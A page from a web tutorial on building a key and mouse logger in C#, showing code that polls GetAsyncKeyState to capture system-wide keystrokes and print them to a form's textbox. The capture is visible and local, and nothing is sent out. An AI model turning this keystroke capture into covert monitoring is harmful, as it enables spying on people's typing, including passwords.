Network programming in C#, Network Programming in VB.NET, Network Programming in .NET
Available now!
Buy at Amazon US or
Buy at Amazon UK



Articles

1.Windows API reference
2.HTML to WML Converter
3.Webcam streaming in VB.NET
4.Remoting with firewalls
5.RSA from first principles
6.Key & MouseLogger in .NET
7.Networking Resource Kit for .NET
8.Automatic Reboot with .NET
9.XAML Schema
10.Migrating VB6 Winsock to VB.NET
11.Migrating C++ sockets to C#
12.RFC Reference guide
13.Lingua - Localization webservice
14.COM Reference guide
15.WMI Reference guide
16.SQL stored procedures
17.TCP & UDP port reference
18..NET Framework reference
19.Ethernet Type codes
21.MAC address assignments
22.DLL entry point reference
23.WHOIS server list
24. Turing Numbers
25. Boost SQL performance
26. Progress Bar in ASP.NET
27. OleDb WebService
27. Internet Explorer

Contact us


[DllImport("user32.dll")]

public static extern int GetAsyncKeyState (long vKey);


public delegate void KeyPressHandler
      (object inputListener,
      KeyPressEventArgs KeyPressInfo);

public event KeyPressHandler OnKeyPress;

The polling implementation can now be added


// check for key presses
int i=0;
for(i=1;i<Byte.MaxValue;i++)
{
if (GetAsyncKeyState(i) ==  Int16.MinValue+1 )
      {
            KeyPressEventArgs KeyPressInfo =
new KeyPressEventArgs(
            Control.ModifierKeys,i);
            if (OnKeyPress!=null)
{                 OnKeyPress(this,KeyPressInfo);
            }                                  
      }

} 

To finish off the class, you need to include some standard assemblies at the head of the code.


using System;
using System.Runtime.InteropServices;
using System.Reflection;
using System.Threading;

using System.Windows.Forms;

With the InputListener class out of the way, we can now look at the client application. The user interface for this application consists solely of a textbox named tbStatus, of which its multiline property is set to true. Double click on the form, and add the following code to the Form_Load event.


private void Form1_Load(object sender, System.EventArgs e)
{
      InputListener inputListener = new
InputListener();
      inputListener.OnMouseMove += new
InputListener.MouseMoveHandler( InputListener_MouseMove);
      inputListener.OnMouseButton += new
InputListener.MouseButtonHandler(
InputListener_MouseButton);              
      inputListener.OnKeyPress += new
InputListener.KeyPressHandler(
InputListener_KeyPress);                 
      inputListener.Run();
}

The Form_Load event creates a new InputListener Class, assigns functions to each one of its events, and then calls the Run method to start the loop. You must now implement each one of the functions, and have them output to the screen. The first one we shall code is the KeyPress event handler. This displays the pressed key on-screen, and scrolls the text window down to the bottom for readability.


private void InputListener_KeyPress(
object sender, KeyPressEventArgs e)
{
if (e.ModifierKeys == Keys.Shift)
      {
            tbStatus.Text += "Pressed Shift & " +
 Convert.ToChar(e.KeyCode) +
 "\r\n";               
      }
      else
      {
            tbStatus.Text += "Pressed " +
Convert.ToChar(
e.KeyCode).ToString().ToLower()
+ "\r\n";              
      }
      tbStatus.SelectionStart = tbStatus.Text.Length;
      tbStatus.ScrollToCaret();
}

The same is done for the mouse button event handler.

Page 2  Page 4 




Google

Copyright 2012 Open Merchant Account Ltd.
Free SMS UK Free SMS Ireland SMS Gratis Norway SMS Gratis Sverige Ilmainen SMS Suomi SMS Gratis Danmark SMS Tasuta Eestisse SMS Nemokamai Lietuva SMS Bezmaksas Latviju Darmowe smsy Polska SMS Zdarma Ceské SMS Zdarma Slovensko SMS Gratis Deutschland SMS Gratis Schweiz SMS Gratis Österreich SMS Gratuit Belgique SMS Gratis Nederland SMS Gratuit France SMS Gratis Espańa SMS Gratis Portugal Free SMS South Africa Free SMS USA SMS Percuma Malaysia Free SMS Hong Kong